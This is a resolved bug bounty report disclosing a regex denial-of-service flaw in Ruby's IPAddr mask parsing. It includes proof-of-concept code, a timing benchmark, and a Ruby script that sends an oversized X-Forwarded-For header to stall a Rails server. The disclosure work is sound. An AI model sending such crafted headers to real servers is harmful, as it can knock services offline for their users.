Loading HuntDB...

ReDoS in IPAddr

R
Ruby
Submitted None
Reported by ooooooo_q

Vulnerability Details

Technical details and impact analysis

Hello, I found a pattern that occur ReDoS in `IPAddr.new`. https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525 ```ruby def mask!(mask) case mask when String case mask when /\A(0|[1-9]+\d*)\z/ prefixlen = mask.to_i ``` `/\A(0|[1-9]+\d*)\z/` is vulnerable. It is a detect result by `recheck` ( https://makenowjust-labs.github.io/recheck/ ). {F1624909} https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628 ```ruby def initialize(addr = '::', family = Socket::AF_UNSPEC) ... prefix, prefixlen = addr.split('/', 2) if prefix =~ /\A(.*)(%\w+)\z/ prefix = $1 zone_id = $2 family = Socket::AF_INET6 end ... if prefixlen mask!(prefixlen) else @mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK end end ``` `mask!` is used in `IPAddr.new`. ## PoC ``` ❯ ruby -v ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20] ❯ irb irb(main):001:0> require 'time' => true irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.') # => ReDoS (and raise ArgumentError) ``` It is also used by `coerce_other`, so it affects other methods as well. ``` IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' ) IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.' IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.' IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.' ``` ## benchmark ipaddr_benchmark.rb ```ruby require 'benchmark' require 'ipaddr' def ipaddr_new(length) text = "0.0.0.0/" + '1' * length + '.' IPAddr.new(text) rescue IPAddr::InvalidAddressError nil end Benchmark.bm do |x| x.report { ipaddr_new(100) } x.report { ipaddr_new(1000) } x.report { ipaddr_new(10000) } x.report { ipaddr_new(100000) } end ``` ``` ❯ bundle exec ruby ipaddr_benchmark.rb user system total real 0.000056 0.000003 0.000059 ( 0.000055) 0.002921 0.000003 0.002924 ( 0.002968) 0.300863 0.000694 0.301557 ( 0.302580) 31.050866 0.103006 31.153872 ( 31.255489) ``` --- ## Rails Since it is used in `ActionDispatch::RemoteIp`, it is possible to attack using custom headers. https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172 ```ruby private def ips_from(header) # :doc: return [] unless header # Split the comma-separated list into an array of strings. ips = header.strip.split(/[,\s]+/) ips.select do |ip| # Only return IPs that are valid according to the IPAddr#new method. range = IPAddr.new(ip).to_range # We want to make sure nobody is sneaking a netmask in. range.begin == range.end rescue ArgumentError nil end end ``` ### PoC create rails server ``` ❯ rails new rails_server -G -M -O -C -A -J -T ❯ cd rails_server ❯ bundle exec rails s => Booting Puma => Rails 7.0.2.2 application starting in development => Run `bin/rails server --help` for more startup options Puma starting in single mode... * Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version") * Min threads: 5 * Max threads: 5 * Environment: development * PID: 13989 * Listening on http://127.0.0.1:3000 * Listening on http://[::1]:3000 ``` ipaddr_request.rb ```ruby require 'net/http' url = URI.parse('http://127.0.0.1:3000/') req = Net::HTTP::Get.new(url.path) req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.' res = Net::HTTP.start(url.host, url.port) {|http| http.request(req) } ``` ``` ❯ time bundle exec ruby ipaddr_request.rb bundle exec ruby ipaddr_request.rb 0.18s user 0.08s system 0% cpu 40.302 total ``` ## Impact ReDoS occurs when `IPAddr.new` accepts user input. Rails uses `ActionDispatch::RemoteIp` by default, so it can be attacked by a request from the client. If using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values ) On the other hand, puma is susceptible because it can be used up to 80 * 1024.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted